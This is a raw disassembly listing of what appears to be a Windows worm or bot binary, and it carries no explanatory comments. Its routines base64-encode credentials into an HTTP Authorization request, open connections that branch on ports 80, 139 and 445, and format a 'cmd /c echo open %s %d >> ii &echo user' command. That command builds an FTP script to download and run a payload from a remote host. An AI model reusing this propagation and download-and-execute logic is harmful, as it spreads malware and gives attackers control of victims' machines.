sub_404032	proc near		; CODE XREF: sub_4041D4+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2

loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]

loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1

loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx

loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax

loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131

loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD
		mov	[ebp-18h], edi

loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]

loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176

loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx

loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: ___:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43C80C
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------

loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax

loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]

loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------

loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1

loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx

loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_43C83C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------

loc_40432B:				; CODE XREF: ___:00404322j
		mov	[ebp-0Ch], esi

loc_40432E:				; CODE XREF: ___:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43F668
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43F6A8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------

loc_4043D9:				; CODE XREF: ___:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------

loc_4043F3:				; CODE XREF: ___:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA

loc_40440B:				; CODE XREF: ___:004043F1j
		add	esp, 0Ch

loc_40440E:				; CODE XREF: ___:004043D7j
		movzx	esi, al

loc_404411:				; CODE XREF: ___:0040438Aj
					; ___:004043FDj
		push	ebx
		call	dword_43F700
		test	esi, esi
		jnz	short loc_404427

loc_40441C:				; CODE XREF: ___:00404347j
		push	3E8h
		call	near ptr 25D0CB3h
		nop

loc_404427:				; CODE XREF: ___:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E

loc_404434:				; CODE XREF: ___:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_404455:				; CODE XREF: ___:0040443Ej
		mov	eax, esi

loc_404457:				; CODE XREF: ___:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8

loc_40445C:				; CODE XREF: sub_4230C8+3j
					; ___:004230E1j ...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A

loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A

loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863

loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]

loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290

loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290

loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290

loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A

loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al

loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667

loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------

loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------

loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------

loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660

loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------

loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660

loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F

loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1

loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------

loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx

loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: ___:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863

loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax

loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]

loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax

loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------

loc_40477E:				; DATA XREF: ___:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax

loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------

loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi

loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx

loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3

loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: ___:00426008o
		test	byte_48A30C, 1
		jnz	short loc_40483C
		or	byte_48A30C, 1

loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: ___:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, dword_428BE0
		add	eax, 6
		mov	dword_43C828, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; ___:00404DC0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------

loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh

loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------

loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx

loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al

loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db 0B8h	; 
		db 0DCh	; 
		db  60h	; `
		db    0
		db    0
		db 0E8h	; 
		db 0D4h	; 
		db  31h	; 1
		db    1
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  8Ch	; 
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db  24h	; $
		db  3Eh	; >
		db    1
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; 
		db  85h	; 
		db 0C0h	; 
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  28h	; (
		db  86h	; 
		db  42h	; B
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db  9Ch	; 
		db  2Eh	; .
		db    1
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; 
		db  93h	; 
		db  29h	; )
		db    1
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  89h	; 
		db  85h	; 
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; 
		db  0Ch
		db 0C8h	; 
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
